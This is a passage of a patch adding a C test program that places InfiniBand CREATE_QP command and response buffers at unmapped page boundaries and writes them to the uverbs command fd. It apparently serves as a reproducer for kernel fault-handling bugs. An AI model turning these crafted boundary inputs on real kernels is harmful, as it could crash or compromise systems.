MAP_ANONYMOUS, + -1, 0); + if (pages_mmap[0] == MAP_FAILED) { + err = errno; + fprintf(stderr, "mmap() failed: %d (%s)\n", err, strerror(err)); + goto leave4; + } + + assert(pages_mmap[0] != NULL); /* having pages @ 0x0 will make thing worse */ + + printf("Memory mapped @ %p [page 0]\n", pages_mmap[0]); + + for(i = 1; i < ARRAY_SIZE(pages_mmap); i++) { + pages_mmap[i] = pages_mmap[i - 1] + page_size; + printf(" @ %p [page %u]\n", pages_mmap[i], i); + } + + /* create holes [M M M] */ + for(i = 1; i < ARRAY_SIZE(pages_mmap); i += 2) { + + printf(" Unmapping @ %p [page %u]\n", pages_mmap[i], i); + + ret = mprotect(pages_mmap[i], page_size, PROT_NONE); + if (ret != 0) { + err = errno; + fprintf(stderr, "mprotect() failed: %d (%s)\n", err, strerror(err)); + goto leave5; + } +#if 1 + ret = munmap(pages_mmap[i], page_size); + if (ret != 0) { + err = errno; + fprintf(stderr, "munmap() failed: %d (%s)\n", err, strerror(err)); + goto leave5; + } +#endif + } + +#if defined(UNMAPPED_RESPONSE) + /* response buffer, in hole */ + create_qp_resp_ptr = (struct ibv_create_qp_resp *)pages_mmap[3]; + printf("Using unmmaped page @ %p [page %u] for response\n", pages_mmap[3], 3); + printf(" Response @ %p [page %u]\n", create_qp_resp_ptr, 3); +#else + /* response buffer on hole boundary */ + create_qp_resp_ptr = (struct ibv_create_qp_resp *)(pages_mmap[3] - sizeof(struct ibv_create_qp_resp)); + printf("Using unmmaped page @ %p [page %u] for response\n", pages_mmap[3], 3); + printf(" Response @ %p [page %u]\n", create_qp_resp_ptr, 2); +#endif + + /* set up command: no provider (eg. hw) specific command fields included */ + IBV_INIT_CMD_RESP(&create_qp_cmd, sizeof(struct ibv_create_qp), + CREATE_QP, + create_qp_resp_ptr, sizeof(struct ibv_create_qp_resp)); + + create_qp_cmd.user_handle = getpid(); /* not used kernel side ? */ + + create_qp_cmd.pd_handle = pd->handle; + + create_qp_cmd.send_cq_handle = cq->handle; + create_qp_cmd.recv_cq_handle = cq->handle; + + create_qp_cmd.srq_handle = 0; + + create_qp_cmd.max_send_wr = 1; + create_qp_cmd.max_recv_wr = 1; + create_qp_cmd.max_send_sge = 1; + create_qp_cmd.max_recv_sge = 1; + create_qp_cmd.max_inline_data = 0; + + create_qp_cmd.sq_sig_all = 0; + create_qp_cmd.qp_type = IBV_QPT_RC; + create_qp_cmd.is_srq = 0; + create_qp_cmd.reserved = 0; + + /* command buffer, at hole boundary */ + create_qp_cmd_ptr = (struct ibv_create_qp *)(pages_mmap[1] - sizeof(struct ibv_create_qp)); + printf("Using unmmaped page @ %p [page %u] for command\n", pages_mmap[1], 1); + printf(" Command @ %p [page %u]\n", create_qp_cmd_ptr, 0); + + /* copy command at end of page */ + memcpy(create_qp_cmd_ptr, &create_qp_cmd, sizeof(struct ibv_create_qp)); + + printf("CREATE_QP : "); + + errno = 0; + sret = write(context->cmd_fd, create_qp_cmd_ptr, sizeof(struct ibv_create_qp)); + err = errno; + + printf(" sret = %zi errno = %d : ", sret, err); + if (sret == sizeof(struct ibv_create_qp)) { + printf(" SUCCESS\n"); + } else { + printf(" FAILURE\n"); + goto leave5; + } + +#if !defined(UNMAPPED_RESPONSE) + /* copy response from end of page */ + memcpy(&create_qp_resp, create_qp_resp_ptr, sizeof(struct ibv_create_qp_resp)); + + /* destroy the QP which could have been created */ + IBV_INIT_CMD_RESP(&destroy_qp_cmd, sizeof(struct ibv_destroy_qp), + DESTROY_QP, + &destroy_qp_resp, sizeof(struct ibv_destroy_qp_resp)); + + destroy_qp_cmd.qp_handle = create_qp_resp.qp_handle; + destroy_qp_cmd.reserved = 0; + + printf("DESTROY_QP : "); + + errno = 0; + sret = write(context->cmd_fd, &destroy_qp_cmd, sizeof(struct ibv_destroy_qp)); + err = errno; + + printf(" sret = %zi, errno = %d : ", sret, err); + if (sret == sizeof(struct ibv_destroy_qp)) { + printf(" SUCCESS\n"); + } else { + printf(" FAILURE\n"); + } +#endif /* !defined(UNMAPPED_RESPONSE) */ + +leave5: + munmap(pages_mmap[0], ARRAY_SIZE(pages_mmap) * page_size); + +leave4: + ibv_destroy_cq(cq); + +leave3: + ibv_dealloc_pd(pd); + +leave2: + ibv_close_device(context); + +leave1: + ibv_free_device_list(dev_list); + +leave0: + return 0; +} -- 2.1.4